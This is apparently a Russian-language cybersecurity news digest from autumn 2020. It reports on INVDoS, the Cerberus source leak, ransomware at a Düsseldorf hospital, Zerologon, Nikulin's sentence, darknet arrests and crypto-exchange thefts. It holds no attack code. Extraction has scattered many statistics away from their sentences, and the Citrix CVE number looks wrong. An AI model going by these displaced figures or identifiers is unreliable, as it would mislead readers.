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ТАЙНЫЙ БАГ 
В BITCOIN CORE
Еще в 2018 году ИБ‐спе циалист Брей дон Фул лер (Braydon Fuller) обна ружил
опас ную проб лему в Bitcoin Core  (вер сий 0.16.0 и 0.16.1). Проб лема появи‐ 
лась  в  2017  году  и  получи ла  имя  INVDoS.  Вско ре  пос ле  обна руже ния 

  была  тихо  устра нена,  а  Фул лер  два  года  хра нил  свою  наход ку
в сек рете, опа саясь, что багом мог ли заин тересо вать ся зло умыш ленни ки.

CVE‐
2018‐17145

Од нако  теперь  тех ничес кие  детали  уяз вимос ти  были  обна родо ваны,  так
как проб лема была пов торно обна руже на дру гими спе циалис тами и угро жала
дру гой крип товалю те, которая базиру ется на ста рой вер сии кода Bitcoin.

Проб лема  INVDoS,  по  сути,  пред став ляет  собой  клас сичес кую  ата ку
на отказ в обслу жива нии (DoS). И хотя зачас тую DoS‐ата ки прак тичес ки без‐ 
вред ны,  они  могут  ока зать ся  серь езной  угро зой  для  дос тупных  через
интернет  сис тем,  которые  занима ются  обра бот кой  тран закций  и  дол жны
работать ста биль но и безот казно.

Фул лер  обна ружил,  что  ата кующий  может  генери ровать  спе циаль ные
тран закции, обра бот ка  которых нодами спо соб на при вес ти  к  «бес кон троль‐ 
ному рас ходова нию ресур сов», а в ито ге к пол ному отка зу уяз вимой сис темы.

Ис сле дова тель отме чает, что на момент обна руже ния бага перед INVDoS
были  уяз вимы более 50% Bitcoin‐нод и,  ско рее все го, мно жес тво май неров
и  бирж.  Более  того,  под  угро зой  ока зались  не  толь ко  ноды Bitcoin,  работа‐ 
ющие  с  Bitcoin  Core,  но  так же  ноды,  работа ющие  с  Bcoin  и  Btcd,  и  дру гие
крип товалю ты,  осно ван ные  на ори гиналь ном про токо ле Bitcoin,  в  том  чис ле
Litecoin и Namecoin. Иссле дова тель пишет, что экс плу ата ция этой проб лемы
мог ла пов лечь за собой потерю средств или доходов:

«[Ущерб]  мог  воз никнуть  из‑за  потерян ного  вре мени  май нин га
или рас хода элек тро энер гии, воз никше го вследс твие отклю чения нод,
задер жки бло ков  или  вре мен ного  раз деления  сети.  Так же  это мог ло
выз вать перебои и задер жки сроч ных кон трак тов или вос пре пятс тво- 
вать эко номи чес кой деятель нос ти. [Проб лема] мог ла пов лиять на тор- 
говлю,  бир жи,  ато мар ные  сво пы,  escrow  и  пла теж ные  каналы  HTLC
в Lightning Network».

Как  уже  было  ска зано,  в  2020  году  уяз вимость  была  обна руже на  пов торно
дру гим  ИБ‐экспер том.  Проб лему  «сно ва  нашел»  раз работ чик  про токо ла
Handshake Джа вед Хан  (Javed Khan),  ког да занимал ся поис ком уяз вимос тей
в  крип товалю те  Decred.  Хан  офи циаль но  сооб щил  об  ошиб ке  в  рам ках  bug
bounty  прог раммы Decred,  и  в  ито ге  информа ция о  ней  наконец  ста ла  дос‐ 
тоянием общес твен ности.

 КОМПЬЮТЕРОВ НА WINDOWS XP25 200 000

Под дер жка Windows XP была прек ращена в далеком   году, а релиз опе раци онной сис темы
и вов се сос тоял ся поч ти   лет назад, в   году. Одна ко этой ОС по‐преж нему про дол жают
поль зовать ся.
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Ана лити ки  NetMarketShare  сооб щают,  что  в  нас тоящее  вре мя    компь юте ров  в  мире
работа ют под управле нием опе раци онных сис тем семей ства Windows и на   из них (при‐ 
мер но   машин) до сих пор уста нов лена Windows XP.

87,5%
1,26%

25 200 000

Для  срав нения:  на  долю Windows  7  по‐преж нему  при ходит ся    рын ка,  а  доля Windows
10 неук лонно рас тет и уже сос тавля ет при мер но   от всех компь юте ров.

22,3%
60%

ИСХОДНИКИ
CERBERUS
Выс тупая на мероп риятии Kaspersky NEXT 2020, эксперт «Лабора тории Кас‐ 
пер ско го» Дмит рий  Галов  рас ска зал,  что  затея  с  про дажей  исходных  кодов
бан ков ско го  Android‐тро яна  Cerberus  на  аук ционе,  оче вид но,  не  оправда ла
ожи даний авто ров мал вари. В ито ге исходни ки были бес плат но опуб ликова ны
для пре миум‐поль зовате лей на популяр ном рус ско языч ном хак‐форуме.

На пом ню, что в кон це лета текуще го года мы   о про даже исходни‐ 
ков Cerberus. Их цена начина лась от 50 тысяч дол ларов США, и авто ры мал‐ 
вари  намере вались  про вес ти  аук цион  с  шагом  в  раз мере  1000  дол ларов
(впро чем,  за  100  тысяч  дол ларов  вре донос  мож но  при обрести  сра зу  и  без
тор га). В эту цену вхо дило все: от исходно го кода до спис ка кли ентов наряду
с инс трук циями по уста нов ке и скрип тами для сов мес тной работы ком понен‐ 
тов.  То  есть  покупа тель  мог  получить  исходный  код  вре донос ного  APK,
модуль, а так же «клю чи» от панели адми нис тра тора и сер веров.

пи сали

Тог да  про давец  уве рял,  что  при чина  про дажи  исходни ков  прос та:  яко бы
хак‐груп па,  соз давшая  Cerberus,  рас палась  и  боль ше  некому  занимать ся
круг лосуточ ной под дер жкой. В ито ге на про дажу выс тавили все, вклю чая базу
кли ентов с активной лицен зией, а так же кон такты кли ентов и потен циаль ных
покупа телей. При этом, по дан ным про дав ца, Cerberus при носил сво им опе‐ 
рато рам при мер но 10 тысяч дол ларов в месяц.

Га лов сооб щил, что теперь под наз вани ем Cerberus v2 рас простра няют ся
исходные коды бан кера и это несет боль шую угро зу для поль зовате лей смар‐ 
тфо нов и бан ков ско го сек тора в целом. Похоже, жела ющих при обре ти тро ян
даже за 50 тысяч дол ларов так и не наш лось.

По дан ным спе циалис тов, пос ле пуб ликации исходни ков в Евро пе и Рос‐ 
сии уже наб люда ется рост зараже ний мобиль ной мал варью. При этом Галов
отме тил,  что  пре дыду щие  опе рато ры  Cerberus  пред почита ли  не  ата ковать
рос сий ских  поль зовате лей мобиль ных  устрой ств,  но  теперь  кар тина  сущес‐ 
твен но изме нилась.

DDOS НА ОБРАЗОВАНИЕ
Ана лити ки «Лабора тории Кас пер ско го» под счи тали, что в пер вой полови не 2020 года количес‐ 
тво  атак  на  обра зова тель ные  ресур сы  в  Рос сии  рез ко  воз росло.  Так,  в  пери од  с  янва ря
по июнь 2020 года этот показа тель был выше зна чений пре дыду щего года на   и более.350%

В  янва ре  2020  года  количес тво  DDoS‐атак  на  обра зова тель ные  пор талы  вырос ло  на 
по срав нению с янва рем 2019 года.

550%

В кон це учеб ного года, в мае, каж дая вто рая DDoS‐ата ка ( ) была нап равле на на обра зова‐ 
тель ный сек тор. В июне этот показа тель законо мер но сни зил ся, но все рав но остался доволь но
высоким —  .

49%

19%

На ситу ацию пов лияла пан демия:  все сту ден ты и школь ники переш ли на дис танци онное обу‐ 
чение, начав поль зовать ся циф ровыми ресур сами еще активнее. В ито ге уве личи лось количес‐ 
тво воз можных целей для DDoS‐атак.

Так же в пер вом полуго дии экспер ты зафик сирова ли рост чис ла фишин говых стра ниц, ими тиру‐ 
ющих популяр ные плат формы для обу чения, и фей ковых при ложе ний для виде окон ферен ций.
С  янва ря  по  июнь  с  подоб ными  вре донос ными  ресур сами  стол кну лись    уни каль ных
поль зовате лей.

168  500

СМЕРТЬ ОТ
ШИФРОВАЛЬЩИКА
10  сен тября  2020  года  уни вер ситет ская  кли ника  в  Дюс сель дор фе  под вер‐ 
глась вымога тель ской ата ке, поразив шей ее сеть и более 30 внут ренних сер‐ 
веров.

Пред ста вите ли боль ницы заяви ли, что ата ка была свя зана с уяз вимостью
в популяр ном ком мерчес ком ПО. Инте рес но, что вско ре пос ле ата ки немец‐ 
кое  агентство  по  кибер безопас ности  напом нило  об  опас ной  уяз вимос ти
CVE‐2019‐19871,  обна ружен ной  в  про дук тах  Citrix  в  прош лом  году.  В  нас‐ 
тоящее  вре мя  этот  баг  счи тает ся  излюблен ной  «точ кой  вхо да»,  которую
неред ко экс плу ати руют опе рато ры вымога телей.

Как  сооб щило  Associated  Press,  из‐за  про изо шед шего  в  боль нице
не смог ли при нять жен щину, нуж дающуюся в сроч ной медицин ской помощи,
и ее пере адре сова ли в дру гую кли нику, находя щуюся при мер но в 30 км отту‐ 
да. В ито ге паци ентка скон чалась, а этот инци дент теперь называ ют пер вой
смертью челове ка из‐за вымога тель ской ата ки.

В  нас тоящее  вре мя  пра воох ранитель ные  орга ны  Гер мании  занима ются
рас сле дова нием  слу чив шегося.  Если  будет  уста нов лено,  что  ата ка  шиф‐ 
роваль щика  и  вынуж денный  прос той  в  работе  боль ницы  ста ли  непос редс‐ 
твен ной  при чиной  смер ти  жен щины,  полиция  пла ниру ет  перек валифи циро‐ 
вать это рас сле дова ние в дело об убий стве.

По информа ции мес тных СМИ, опе рато ры неназ ванно го вымога теля отоз‐ 
вали  свои  тре бова ния  о  выкупе  и  пре дос тавили  кли нике  клю чи  для  рас‐ 
шифров ки  дан ных,  ког да  ста ло  извес тно,  что  ата ка,  по  сути,  при вела  к  зак‐ 
рытию боль ницы.

Ху же  того,  по  информа ции  Associated  Press  и  новос тно го  агентства  RTL,
ата ка  на медицин ское  учрежде ние,  похоже,  была  ошиб кой.  Дело  в  том,  что
оставлен ное хакера ми вымога тель ское пос лание было адре сова но Дюс сель‐ 
дорф ско му  уни вер ситету  име ни  Ген риха  Гей не,  к  которо му отно сит ся боль‐ 
ница, но не самой кли нике.

ХАКЕРЫ И COBALT STRIKE
Ана лити ки  Cisco  Talos  обна ружи ли,  что  легитим ный  ком мерчес кий  фрей мворк  Cobalt  Strike,
соз данный для пен тесте ров и red team и ори енти рован ный на экс плу ата цию и пос тэкс плу ата‐ 
цию, все чаще исполь зуют хакеры. Так, во вто ром квар тале текуще го года Cobalt Strike исполь‐ 
зовал ся в 66% вымога тель ских атак.

→ «Сила Cobalt Strike  зак люча ется  в  том,  что он пред лага ет мно жес тво отве тов на  слож ные
воп росы,  которые  могут  воз никнуть  у  зло умыш ленни ка.  Раз вернуть  listeners  и  beacons?
Без проб лем. Нужен шелл‐код? Лег ко. Необ ходимо соз давать поэтап ные/безэтап ные исполня‐ 
емые фай лы? Готово. Учи тывая уни вер саль ность Cobalt Strike, его популяр ность неуди витель‐ 
на. Зло умыш ленни ки все боль ше полага ются в работе на Cobalt Strike, а не на мас совое вре‐ 
донос ное ПО»
— пре дуп режда ют спе циалис ты Talos

ПРИГОВОР
НИКУЛИНУ
В 2016 году про изо шел ряд мас штаб ных уте чек дан ных, при чем мно гие дам‐ 
пы,  вклю чая  ,  ,    и  « »  (а  так же  Badoo,  QIP,
Rambler и Mobango), в ито ге были    .

MySpace LinkedIn Tumblr ВКон такте
выс тавле ны на про дажу

Тог да  дам пы  в  основном  рас простра няли  два  челове ка,  извес тные
под никами Tessa88 и Peace_of_Mind. Как ни стран но, ни один из этих дво их
не взла мывал перечис ленные ком пании и сер висы. Хакеры дей ство вали лишь
как  пос редни ки,  а  за  самими  взло мами  сто яли  круп ные  хакер ские  груп пы,
о чем Tessa88 и Peace_of_Mind неод нократ но говори ли жур налис там.

В  2016  году  в  Чехии  был  арес тован  один  из  непос редс твен ных  взлом‐ 
щиков,  рос сиянин  Евге ний  Алек сан дро вич  Никулин.  Тог да  ему 

  во  взло ме  Dropbox,  LinkedIn  и  Formspring,  и  вско ре  его  экс тра‐ 
диро вали в США.

предъ яви ли
обви нения

В сум ме Никули на обви нили по ряду ста тей, и все они были свя заны с про‐ 
ник новени ем в чужие сети и хищени ем дан ных. Сог ласно судеб ным докумен‐ 
там,  Никулин  взло мал  Dropbox,  Formspring  и  LinkedIn  вес ной  —
летом 2012 года. Сооб щалось, что хакер работал как минимум с тре мя сооб‐ 
щни ками, а для про ник новения в сети LinkedIn и Formspring пред варитель но
ском про мети ровал  учет ные  дан ные  сот рудни ков  ком паний,  что  облегчи ло
пос леду ющий взлом.

Так, в слу чае LinkedIn он заразил ноут бук сот рудни ка ком пании мал варью,
что  поз волило  ему  зло упот ребить  VPN  это го  сот рудни ка  и  получить  дос туп
к внут ренней сети. Отту да хакер похитил око ло 117 мил лионов поль зователь‐ 
ских записей, вклю чая име на поль зовате лей, пароли и email‐адре са.

За тем Никулин исполь зовал похищен ные у LinkedIn дан ные для рас сылки
фишин говых  писем  сот рудни кам  дру гих  ком паний,  вклю чая Dropbox.  Там он
сумел  ском про мети ровать  учет ную  запись  еще  одно го  работ ника,  а  затем
пре дос тавил  себе  дос туп  к  пап ке  Dropbox,  где  содер жались  дан ные  ком‐ 
пании. Влас ти заяв ляют, что таким обра зом Никули ну уда лось соб рать мас су
информа ции  о  68  мил лионах  поль зовате лей  Dropbox,  вклю чая  име на  поль‐ 
зовате лей, email‐адре са и хеширо ван ные пароли.

Ана логич ным  обра зом  Никули ну  уда лось  про ник нуть  и  в  учет ную  запись
инже нера  Formspring.  В  резуль тате  в  июне  2012  года  он  получил  дос туп
к  внут ренней  базе  дан ных  поль зовате лей  ком пании,  на  тот  момент  нас‐ 
читывав шей более 30 мил лионов человек. Вся эта информа ция в ито ге была
про дана  на  чер ном  рын ке.  Как  было  ска зано  выше,  эти  дан ные  появи лись
в интерне те в 2015–2016 годах, ког да раз личные про дав цы раз мещали дам‐ 
пы на обще дос тупных форумах и хакер ских тор говых пло щад ках.

Ле том  текуще го  года  суд  приз нал  Никули на    по  всем  пун ктам
обви нения, хотя про цесс про ходил нелег ко, а судья дол го сом невал ся в вер‐ 
сии  пра воох раните лей.  За  про шед шие  годы  хакер  не  раз менял  адво катов,
отка зывал ся сот рудни чать со следс тви ем или зак лючать сдел ку о приз нании
вины, поменял нес коль ко тюрем и про верял ся у пси холо гов по рас поряже нию
суда  (у  судьи  воз никли  опа сения  отно ситель но  пси хичес кого  здо ровья
хакера,  ког да  тот  отка зал ся  говорить  со  сво ими  адво ката ми  и  пред ста вать
перед судом).

ви нов ным

Про кура тура нас таива ла на 145 месяцах  (12 лет)  тюрем ного зак лючения,
трех  годах под над зором и воз мещении  ущер ба. В свою оче редь,  адво каты
Никули на  пытались  оспо рить  раз мер  при чинен ного  ущер ба,  а  так же  утвер‐ 
жда ли, что хакер находит ся под стра жей уже око ло 48 месяцев, про сили суд
при гово рить его к такому сро ку и учесть уже про веден ное за решет кой вре мя.

В  ито ге  29  сен тября  2020  года  Никулин  был  при гово рен  к  88  месяцам
(нем ного боль ше семи лет) тюрем ного зак лючения. Из них 64 месяца за тор‐ 
говлю  устрой ства ми  несан кци они рован ного  дос тупа  и  нанесе ние  вре да
защищен ным  компь юте рам;  60  месяцев  за  компь ютер ный  взлом  и  сго вор;
еще 24 месяца за кра жу лич ных дан ных при отяг чающих обсто ятель ствах.

В  ито ге  хакер  дол жен  отбыть  в  тюрь ме  85%  сро ка  (74,8  месяца),  но  за
вычетом  того  вре мени,  которое  он  уже  про вел  под  стра жей,  ему  оста лось
лишь  26,8  месяца,  то  есть  чуть  более  двух  лет.  Так же  пос ле  осво бож дения
Никулин  про ведет  три  года  под  над зором  влас тей  (при  усло вии,  что  он
не будет депор тирован в Рос сию сра зу пос ле осво бож дения) и будет обя зан
воз местить  при чинен ный  ущерб  пос тра дав шим  ком пани ям:  мил лион  дол‐ 
ларов  в  поль зу  LinkedIn,  514  тысяч  дол ларов  Dropbox,  20  тысяч  дол ларов
Formspring  и  250  тысяч  дол ларов  родитель ской  ком пании WordPress —  Au‐
tomattic (хотя в этом взло ме его так и не обви нили).

«Я думаю, ты гени аль ный парень. Очень умный. Я при зываю тебя при- 
менить  свой  талант  в  закон ной  про фес сии  и  сде лать  что‑нибудь
хорошее  в  жиз ни,  кро ме  взло ма  компь юте ров»,  —  резюми ровал
окружной  судья  Уиль ям  Алсап  (William  Alsup)  пос ле  вынесе ния  при- 
гово ра.

На судью, как он сам отме тил, осо бен но пов лияло, что в Рос сии у Никули на
есть  десяти лет няя  дочь,  а  его  мать  может  не  дожить  до  новой  встре чи
с Никули ным: по дан ным адво катов, за пос ледние годы она перенес ла четыре
опе рации на поз воноч нике и три инсуль та.

«Веро ятно,  она  находит ся  на  гра ни  смер ти,  и  мис тер  Никулин,  воз- 
можно, никог да не уви дит ее сно ва. Тяжесть вины и боль от раз луки
с  людь ми,  которые  любят  его  и  нуж дают ся  в  нем,  —  это  гораз до
более серь езное наказа ние, чем любой тюрем ный срок, который этот
или любой дру гой суд может наз начить мис теру Никули ну», — заяви ли
адво каты хакера.

За щит ники говорят, что пси холо гичес кого стрес са, который перенес Никулин
во вре мя содер жания в двух инос тран ных тюрь мах, дос таточ но, что бы удер‐ 
жать его от совер шения нового  кибер прес тупле ния. По их сло вам, он  хочет
гулять  на  све жем  воз духе,  вос питывать  дочь  и  жить  «мир ной  жизнью  вда ли
от компь юте ров».
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Ана лити ки ком пании Microsoft под готови ли тра дици онный отчет Digital Defense, в котором рас‐ 
ска зали об основных событи ях и трен дах в области кибер безопас ности и ана лиза угроз за пос‐ 
ледний год (с июля   по июнь   года).2019 2020

В  ком пании  отме тили,  что  пан демия  COVID‐19  под тол кну ла  хакеров  к  тому,  что бы  сок ратить
вре мя нахож дения в сис теме жер твы. Так, зло умыш ленни ки ком про мети руют сис тему, похища‐ 
ют дан ные и, в некото рых слу чаях, быс тро акти виру ют вымога тель ское ПО, оче вид но полагая,
что так им ско рее зап латят. Иног да кибер прес тупни ки перехо дили от пер воначаль ного про ник‐ 
новения к шиф рованию всей сети и тре бова нию выкупа мень ше чем за  .45 минут

ОПЕРАЦИЯ
DISRUPTOR
Пра воох ранитель ные  орга ны  про вели  меж дународ ную  опе рацию  Disruptor,
глав ным коор динато ром которой выс тупило Федераль ное ведомс тво уго лов‐ 
ной полиции Гер мании, при под дер жке Наци ональ ной полиции Нидер ландов,
Наци ональ ного агентства по борь бе с прес тупностью Великоб ритании, Евро‐ 
пола,  Евро юста,  а  так же  раз личных  ведомств  США,  вклю чая  Минис терс тво
юсти ции и ФБР.

Опе рация  Disruptor  пос ледова ла  за    круп ного
мар кет плей са  Wall  street  market,  который  нас читывал  более  1,1  мил лиона
поль зовате лей  и  5400  про дав цов.  Пос ле  это го  сле дова тели  смог ли  иден‐ 
тифици ровать мно гих поль зовате лей тор говой пло щад ки и теперь отчи тались
об арес тах 179 человек в нес коль ких стра нах мира: 121 подоз рева емый был
арес тован в США, было про изве дено 42 арес та в Гер мании, восемь в Нидер‐ 
ландах,  четыре  в  Великоб ритании,  три  в  Авс трии  и  один  в  Шве ции.  Все
задер жанные  подоз рева ются  в  при час тнос ти  к  тор говле  незакон ными
товара ми и услу гами, вклю чая нар котики и огнес трель ное ору жие.

прош логод ним  зак рыти ем

Со обща ется,  что  во  вре мя  обыс ков  полиция  изъ яла  у  подоз рева емых
более 6,5 мил лиона дол ларов налич ными и крип товалю той, око ло 500 кг раз‐ 
личных  нар котиков,  вклю чая  кока ин,  геро ин,  окси кодон  и  метам фетамин,
а так же 64 еди ницы ору жия.

«Золотой век дар кнет‑мар кет плей сов закон чился. Подоб ные опе рации
под черки вают  спо соб ность  пра воох ранитель ных  орга нов  про тивос- 
тоять  шиф рованию  и  ано ним ности  тор говых  пло щадок  в  дар кне те.
Полиция не толь ко лик видиру ет такие незакон ные тор говые пло щад ки,
она  так же  прес леду ет  прес тупни ков,  покупа ющих  и  про дающих
нелегаль ные товары через такие сай ты. Дар кнет — это не вол шебная
стра на, про дав цы и покупа тели боль ше не смо гут пря тать ся в тени», —
говорит ся в заяв лении Евро пола.

ШИФРОВАЛЬЩИКИ ПРОПАЛИ ИЗ ПИСЕМ
Спе циалис ты  Group‐IB  под готови ли  отчет  об  угро зах  из  вре донос ных  рас сылок  в  пер вом
полуго дии  2020  года.  Ока залось,  что  со  сце ны  прак тичес ки  ушли  лидеры  прош лого  полуго‐ 
дия — шиф роваль щики. Дело в  том,  что опе рато ры вымога тель ской мал вари смес тили фокус
атак с инди виду аль ных поль зовате лей на круп ные кор поратив ные сети.

В нас тоящее вре мя шиф роваль щики встре чают ся в рас сылках лишь в   слу чаев. Зато 
  вре донос ное  пись мо  содер жит  спай варь  (   про ана лизи рован ных  слу чаев),

цель которой — кра жа логинов, паролей, пла теж ных дан ных и дру гой чувс тви тель ной информа‐ 
ции.

1% каж- 
дое третье 43%

Во  вре мя  пан демии  корона виру са  впол не  ожи даемо  вырос ло  количес тво  слу чаев  фишин га
под раз личные онлайн‐сер висы: на него приш лось   от обще го чис ла фей ковых веб‐стра‐ 
ниц.

46%

В  топ  угроз  пер вого  полуго дия  так же  вош ли  заг рузчи ки  (   рас сылок),  пред назна чен ные
для  уста нов ки  дру гой  мал вари,  и  бэк доры  (   слу чаев).  Сле дом  за  ними  идут  бан ков ские
тро яны  (   изу чен ных  кей сов),  чья  доля  в  общем  чис ле  вре донос ных  вло жений  впер вые
за дол гое вре мя показа ла рост.

17%
16%

15%

В  топ‐10  инс тру мен тов,  которые  зло умыш ленни ки  исполь зовали  в  ата ках,  зафик сирован ных
CERT‐GIB, вош ли: тро ян RTM ( ); шпи онское ПО LOKI PWS ( ), Agent Tesla ( ), Hawk‐
eye ( ) и Azorult ( ); бэк доры Formbook ( ), Nanocore ( ), Adwind ( ), Emotet ( )
и Netwire ( ).

30% 24% 10%
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УЯЗВИМОСТЬ ГОДА
Эк спер ты обна ружи ли, что в прош лом месяце ком пания Microsoft испра вила
серь езней шую  уяз вимость.  Проб лема  име ет  иден тифика тор  CVE‐2020‐
1472 и получи ла наз вание Zerologon. Дан ный баг поз воля ет зах ватывать Win‐
dows‐сер веры, работа ющие в качес тве кон трол леров домена в кор поратив‐ 
ных сетях.

В августе 2020 года эту проб лему опи сыва ли как повыше ние при виле гий
в Netlogon, наб равшую десять бал лов из десяти воз можных по шка ле оцен ки
уяз вимос тей  CVSS.  Одна ко  тог да  детали  уяз вимос ти  не  раз гла шались.
Теперь  же  спе циалис ты  гол ланд ской  ком пании  Secura  BV,  исходно  обна‐ 
ружив шие баг, опуб ликова ли отчет с его деталь ным опи сани ем, и ста ло ясно,
что проб лема Zerologon не зря получи ла такую оцен ку.

В сущ ности, уяз вимость Zerologon опи рает ся на сла бый крип тогра фичес‐ 
кий алго ритм, исполь зуемый в про цес се аутен тифика ции Netlogon. Проб лему
наз вали Zerologon, так как ата ка выпол няет ся через добав ление нулей в опре‐ 
делен ные  аутен тифика цион ные  парамет ры  Netlogon.  В  резуль тате  баг  поз‐ 
воля ет зло умыш ленни ку манипу лиро вать аутен тифика цией, а имен но:

вы дать  себя  за  любой  компь ютер  в  сети  в  ходе  аутен тифика ции  на  кон‐ 
трол лере домена;

•

от клю чить защит ные механиз мы в про цес се аутен тифика ции Netlogon;•
из менить пароль компь юте ра в Active Directory кон трол лера домена.•

Ис сле дова тели под черки вают, что такая ата ка может занимать мак симум три
секун ды. Кро ме того, прак тичес ки никаких огра ниче ний у нее нет: к при меру,
зло умыш ленник может выдать себя за кон трол лер домена и изме нить пароль,
что поз волит ему зах ватить всю кор поратив ную сеть.

К счастью, Zerologon нель зя исполь зовать  уда лен но,  то есть ата кующе му
сна чала нуж но каким‐то обра зом про ник нуть в сеть ком пании и зак репить ся
там. Одна ко, если это про изош ло, Zerologon несет огромный риск. К при меру,
такой  баг может  очень  при годить ся  опе рато рам шиф роваль щиков,  которые
зачас тую начина ют ата ку с зараже ния все го одно го компь юте ра в сети ком‐ 
пании,  а  затем  стре мят ся  рас простра нить  свое  вли яние  на  все  дос тупные
машины.

Пос ле  рас кры тия  под робнос тей  мно гие  спе циалис ты  наз вали  Zerologon
самой  опас ной  ошиб кой  текуще го  года,  а  Минис терс тво  внут ренней
безопас ности  США  дало  федераль ным  агентствам  стра ны  все го  три  дня
на  сроч ное  исправ ление  бага,  в  про тив ном  слу чае  приг розив  отклю чени ем
от федераль ных сетей.

Опа сения спе циалис тов ока зались оправдан ны, так как в кон це сен тября
Microsoft  пре дуп редила,  что  уяз вимость  уже  находит ся  под  ата ками.  Пока
в ком пании не ста ли обна родо вать под робнос ти об этих инци ден тах, а лишь
еще раз напом нили о сроч ной необ ходимос ти уста новить пат чи.

Сто ит  ска зать,  что  выпуск  пат чей  для  Zerologon  ока зал ся  неп ростой
задачей для Microsoft. Дело в том, что инже нерам ком пании приш лось изме‐ 
нить  спо соб,  который  мил лиар ды  устрой ств  исполь зуют  для  под клю чения
к  кор поратив ным  сетям.  В  ито ге  исправ ление  бага  было  раз делено  на  два
эта па.  Пер вый  этап  уже  завер шился  в  августе  2020  года,  ког да  Microsoft
выпус тила вре мен ное исправ ление. Этот вре мен ный патч сде лал механиз мы
безопас ности  Netlogon  (которые  отклю чал  Zerologon)  обя затель ными
для всех аутен тифика цион ных опе раций, что эффектив но пре дот вра щает ата‐ 
ки.

Ре лиз  более  пол ноцен ного  пат ча  для  Zerologon  зап ланиро ван  на  фев‐ 
раль 2021  года,  на  тот  слу чай,  если  зло умыш ленни ки  все же най дут  спо соб
обой ти августов ские исправ ления. К сожале нию, спе циалис ты Microsoft ожи‐ 
дают,  что  вто рой  патч  немину емо  вызовет  проб лемы  с  аутен тифика цией
на некото рых устрой ствах.

ЗАПРЕТ DOH, DOT, ESNI И TLS 1.3
В этом месяце Мин цифры вынес ло на общес твен ное обсужде ние про ект поп равок в федераль‐ 
ный закон 149‐ФЗ «Об информа ции, информа цион ных тех нологи ях и о защите информа ции».

Как  сле дует  из  пояс нитель ной  запис ки,  в  докумен те  пред лага ется  зап ретить  DoH  (DNS  over
HTTPS), DoT (DNS over TLS) и ESNI и даже TLS 1.3, так как они могут «сни зить эффектив ность
исполь зования сущес тву ющих сис тем филь тра ции», то есть помеша ют влас тям выяв лять и бло‐ 
киро вать сай ты с зап рещен ной информа цией, а так же сле дить за тем, какие ресур сы посеща ют
поль зовате ли.

За коноп роект ожи даемо выз вал бур ную реак цию со сто роны ИТ‐сооб щес тва. К при меру, соз‐ 
датель  и  вла делец  TgVPN  Вла дис лав  Здоль ников  пред положил,  что  это  реак ция  влас тей
на исполь зование оппо зици онны ми полити ками и акти вис тами сов ремен ных тех нологий, а так‐ 
же соз дание ими незави симых плат форм для выборов, нап ример «Умно го голосо вания».

→ «Мир с кос мичес кой ско ростью летит в сто рону зашиф рован ного SNI, что бы ник то, вклю чая
государс тво, не видел, на какие сай ты вы заходи те. Дос таточ но ско ро он будет под держи вать ся
все ми бра узе рами, а пос ле это го на него нач нут перехо дить сай ты. Никакой Google, Facebook
или Cloudflare  не  будет  смот реть,  ходит  ли  eSNI‐тра фик  в  какой‐то  там Рос сии,  поэто му  они
прос то перес танут работать, и вам при дет ся откру тить этот зап рет.

А что каса ется нас — мы все рав но вас победим, по край ней мере на циф ровом поле»
— Здоль ников в сво ем Telegram‐канале

ВЗЛОМЫ БИРЖ
В  сен тябре  от  атак  хакеров  пос тра дали  сра зу  две  крип товалют ные  бир жи.
Пер вой жер твой зло умыш ленни ков стал сло вац кий ресурс Eterbase. С шес ти
горячих  кошель ков  было  похище но  око ло  5,4  мил лиона  дол ларов  в  раз ных
крип товалю тах: Bitcoin, Ether, ALGO, Ripple, Tezos и TRON.

В  офи циаль ном  Telegram‐канале  пред ста вите ли  Eterbase  приз нали,  что
замети ли  ата ку,  но,  к  сожале нию,  не  сумели  ее  оста новить.  Боль шая  часть
укра ден ных  средств  в  ито ге  отпра вилась  на бир жи Huobi, Binance и HitBTC.
Теперь экспер ты пос тра дав шего ресур са работа ют над отсле жива нием тран‐ 
закций, сот рудни чают с пра воох ранитель ными орга нами и наде ются, что кол‐ 
леги с перечис ленных бирж помогут им заб локиро вать хакеров и заморо зить
ворован ные средс тва.

В нас тоящее вре мя все опе рации на Eterbase при оста нов лены, хотя в ком‐ 
пании уве ряют, что бир жа вот‐вот возоб новит работу (пос ле завер шения рас‐ 
сле дова ния  и  про веде ния  ауди та),  так  как  име ет  дос таточ ное  количес тво
резер вных средств.

Вто рой жер твой  хакеров  в  этом месяце  стал  син гапур ский  крип товалют‐ 
ный  обменник  KuCoin.  Неиз вес тные  зло умыш ленни ки  опус тошили  горячие
кошель ки  ресур са,  содер жавшие  Bitcoin,  токены  ERC‐20  и  про чее.  Сум‐ 
марные  убыт ки  KuCoin  оце нива ются  при мер но  в  150  мил лионов  дол ларов.
В офи циаль ном заяв лении ком пании под черки вает ся, что холод ные кошель ки
инци дент не зат ронул, и весь ущерб обе щают пок рыть из стра хово го фон да
бир жи.

Гла ва KuCoin Джон ни Лю  (Johnny  Lyu)  сооб щил,  что  ком пания  уже  обра‐ 
тилась  за  помощью  к  пра воох раните лям,  а  так же  заявил,  что  ата ка,  ско рее
все го,  была  делом  рук  кого‐то  из  сот рудни ков  или  пар тне ров  бир жи,  так
как зло умыш ленник каким‐то обра зом заполу чил при ват ные клю чи от горячих
кошель ков.

Пред ста вите ли  KuCoin  уже  опуб ликова ли  спи сок  кошель ков,  на  которые
были  переве дены  укра ден ные  средс тва,  и  этот  спи сок  про дол жает
обновлять ся.  Tether,  Bitfinex  и  еще  нес коль ко  круп ных  крип товалют ных  бирж
занес ли адре са кошель ков зло умыш ленни ков в чер ные спис ки и заморо зили
часть средств в блок чей не EOS и на одном из Ethereum‐адре сов.

ИБ‐экспер ты из  ком пании Under The Breach отме чают,  что для  кон верта‐ 
ции укра ден ных аль ткой нов в Ethereum хакеры исполь зуют децен тра лизо ван‐ 
ную  бир жу  Uniswap.  В  свою  оче редь,  экспер ты  Whale  Alert  пишут,  что  поч‐ 
ти  530  тысяч  дол ларов  в  токенах  LINK  взлом щики  вывели  на  неиз вес тный
адрес  и  обме няли  их  на  Ethereum  через  децен тра лизо ван ную  бир жу  Kyber
Network.

 НА FORTNITEМИЛЛИОНЫ

Эк спер ты  Night  Lion  Security  под читали,  что  в  2020  году  в  про даже  на  хакер ских  форумах
появи лось  око ло    акка унтов,  угнанных  у  поль зовате лей  популяр ного  шутера
Fortnite.

2  000  000  000

Хи щение  и  про дажа  таких  учет ных  записей  при носит  хакерам  неп лохую  при быль:  некото рые
про дав цы зараба тыва ют   дол ларов в неделю, то есть око ло   в год.25 000 1 200 000

